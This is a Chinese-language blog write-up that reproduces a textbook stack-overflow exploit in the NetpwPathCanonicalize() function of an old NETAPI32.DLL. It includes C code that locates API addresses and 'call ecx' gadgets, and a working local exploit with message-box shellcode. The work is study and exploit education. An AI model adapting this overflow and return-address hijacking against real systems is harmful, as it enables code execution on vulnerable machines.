最近在看 0day安全 这本书 然后打算 跟着去复现一下
以前大一也试着看看这本书 发现看的不是很懂 现在感觉 这本书真的写的很棒
然后 我看了前三章 感觉都还ok 然后看到 一个漏洞的时候发现有点手痒
然后配了一下环境 找了一下dll 然后跟着来做一下,
然后这里的思路是来自 姜大大的
https://blog.csdn.net/ioio_jy/article/details/50222487
感谢前辈们的无私奉献,
先看一下漏洞点是 Netapi32.dll 的 NetpwPathCanonicalize()函数里面的一个函数
这个函数其实有了很多的漏洞 打了补丁甚至还能找到溢出点(这里就不分析了 主要是因为wcscat,它会检查缓冲区中的“\0”也就是字符串的尾部位置,然后将新的字符串拷贝到“\0”的位置,最后再加上“\0”作为结尾 )
先看一下 没有打过补丁的情况
然后是 打过补丁的情况
这个dll 可以在 下面的链接找到
https://bbs.pediy.com/thread-56963.htm
这里其实就可以看出 怎么回事了 DeviceName 是在距离 ebp-414h 的地方
而 但是上述代码检测的却是wchar_t 的长度 ,宽字符的0x411相当于0x822字节的空间
那么就可以造成 栈溢出 然后 利用漏洞拿到shell
这里我们就用 程序加载的方式 来利用这个漏洞 这里 先得出messagex 和 exitprocess 的地址
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME "./NETAPI32.DLL"
typedef void(*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle = LoadLibrary("user32.dll");
MYPROC ProcAddr = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
printf("MessageBoxA:0x%x\n", ProcAddr);
HINSTANCE libhandle = LoadLibrary("Kernel32.dll");
MYPROC addr = (MYPROC)GetProcAddress(libhandle, "ExitProcess");
printf("ExitProcess:0x%x\n", addr);
printf("Hello World!\n");
getchar();
return 0;
}
然后继续看 call ecx的地址
/*
OPCODE found at 0x7510eeb3
OPCODE found at 0x75116da7
OPCODE found at 0x7511c69e
OPCODE found at 0x751206b9
OPCODE found at 0x75122d43
OPCODE found at 0x75128bf2
OPCODE found at 0x7513de19
MessageBoxA:0x77d507ea
ExitProcess:0x7c81cb12
*/
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME "./NETAPI32.DLL"
int main()
{
BYTE *ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xD1)
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
getchar();
return 0;
}
然后我们就就可以着手准备 shellcode 来搞事情了
这里我直接粘上我本机上运行成功的代码
// ll.cpp : Defines the entry point for the console application.
//
/*
OPCODE found at 0x7510eeb3
OPCODE found at 0x75116da7
OPCODE found at 0x7511c69e
OPCODE found at 0x751206b9
OPCODE found at 0x75122d43
OPCODE found at 0x75128bf2
OPCODE found at 0x7513de19
MessageBoxA:0x77d507ea
ExitProcess:0x7c81cb12
*/
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME "./NETAPI32.DLL"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);
char ShellCode[] =
"\x33\xDB" // xor ebx,ebx
"\xB7\x06" // mov bh,6
"\x2B\xE3" // sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E" // push "Warning"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\x61\x20\x20\x20"
"\x68\x70\x69\x78\x69"
"\x68\x79\x20\x70\x69"
"\x68\x65\x64\x20\x62"
"\x68\x68\x61\x63\x6b" // push "hacked by pipixia"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\x12\xcb\x81\x7C"
"\xFF\xD0" ; // call ExitProcess
//MessageBoxA:0x77d507ea
//ExitProcess:0x7c81cb12
int main()
{
char Str[0x320];
char lpWideCharStr[0x440];
int arg_8 = 0x440;
char Source[0x100];
long arg_10 = 44;
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./NETAPI32.DLL";
LoadLibrary("user32.dll");
LibHandle = LoadLibrary(DllName);
if( LibHandle == NULL)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
FreeLibrary(LibHandle);
return 0;
}
Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
if ( Func == NULL )
{
MessageBox(0, "Can't Load Function Address!", "Warning", 0);
FreeLibrary(LibHandle);
return 0;
}
memset(Str, 0, sizeof(Str));
memset(Str, 'a', sizeof(Str)-2);
memset(Source, 0, sizeof(Source));
memset(Source, 'b', sizeof(Source)-2);
memcpy(Source, ShellCode, sizeof(ShellCode));
//0x7510eeb3
Str[0x318] = 0xb3;
Str[0x319] = 0xee;
Str[0x31A] = 0x10;
Str[0x31B] = 0x75;
(Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
FreeLibrary(LibHandle);
return 0;
}
然后这个思路就是
在这个函数 要退出的时候 ECX的值 就是 我们一开始输入的栈区的值 那么 我们可以把shellcode 直接写道那个栈区里面
然后 把返回地址填充 call ecx 的地址 那么就可以成功弹窗了
这里可以看到已经把返回地址给淹没了
这里可以看出ecx的值 指向了shellcode
可以看到 可以直接执行到shellcode了
效果图
字符串转化成
print(''.join((r'\x%2x'%ord(c)for c in 'hacked by pipixiaQAQ')))
参考资料
https://blog.csdn.net/ioio_jy/article/details/50222475